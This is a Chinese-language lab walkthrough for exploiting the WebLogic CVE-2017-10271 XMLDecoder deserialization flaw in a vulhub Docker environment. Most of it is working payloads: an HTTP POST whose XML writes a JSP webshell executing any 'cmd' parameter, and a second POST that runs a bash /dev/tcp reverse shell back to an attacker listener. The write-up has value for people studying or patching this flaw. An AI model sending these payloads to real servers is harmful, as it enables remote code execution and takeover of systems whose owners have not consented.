Weblogic CVE-2017-10271 xml反序列化
漏洞成因
CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。
参考文章:传送门
理解java反序列化漏洞:传送门
实验环境
主机 | 角色 | IP |
---|---|---|
centos8 | 漏洞靶机 | 192.168.1.80 |
windows10 | 攻击机(burp) | 192.168.1.120 |
实验流程
开启漏洞环境centos8
service docker start
cd /usr/sbin/vulhub/weblogic/CVE-2017-10271
docker-compose build
docker-compose up -d
尝试访问漏洞页面:
如图所示,环境搭建成功。
写入webshell
poc如下:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
HOST: 192.168.1.80:7001
Accept-Encoding: gzip,deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 1259
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <!--定义soap环境内容-->
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder"> <!--定义java版本和class-->
<object class="java.io.PrintWriter"> <!--实例化java.io.PrintWriter类为一个对象-->
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string> <!--为对象传入一个string类型的参数-->
<void method="println"><string> <!-- 调用java.io.ProintWriter类中的printIn方法 -->
<!--为println方法传入一个string型的参数,内容为jsp一句话木马 -->
<![CDATA[
<%@
page language="java"
import="java.util.*,java.io.*"
pageEncoding = "UTF-8"
%>
<%!public static String excuteCmd(String c) {
StringBuilder line = new StringBuilder();
try {
Process pro = Runtime.getRuntime().exec(c);
BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
String temp = null;
while ((temp = buf.readLine()) != null){
line.append(temp+"\\n");
}
buf.close();
} catch (Exception e) {
line.append(e.getMessage());
}
return line.toString();
}
%>
<%
if(!"".equals(request.getParameter("cmd"))){
out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}else{
out.println(":-)");
}
%>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
java.io.PrintWriter使用方法
import java.io.IOException; import java.io.PrintWriter; public class PWDemo { public static void main(String[] args) throws IOException { PrintWrite pw = new PrintWriter("pw.txt"); //实例化一个对象,并传入参数(文件路径) pw.println("他日若遂凌云志"); //写入内容 pw.println("敢笑黄巢不丈夫"); System.out.println("写入完毕!"); //输出回显 pw.close(); //关闭并保存文件 } }
利用burp向漏洞靶机发送数据包:
用浏览器访问漏洞页面,并传入参数:
反弹shell
poc如下:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder"> <!--定义ProcessBuilder类-->
<array class="java.lang.String" length="3"> <!--设置参数为三个string型元素的数组-->
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.1.120/8888 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
//ProcessBuilder使用方法
//此类用于创建操作系统进程,它提供一种启动和管理进程(也就是应用程序)的方法。
ProcessBuilder pb = new ProcessBuilder("myCommand", "myArg1", "myArg2");
在windows本地开启nc端口监听:
用burp发送poc数据包:
收到反弹的shell: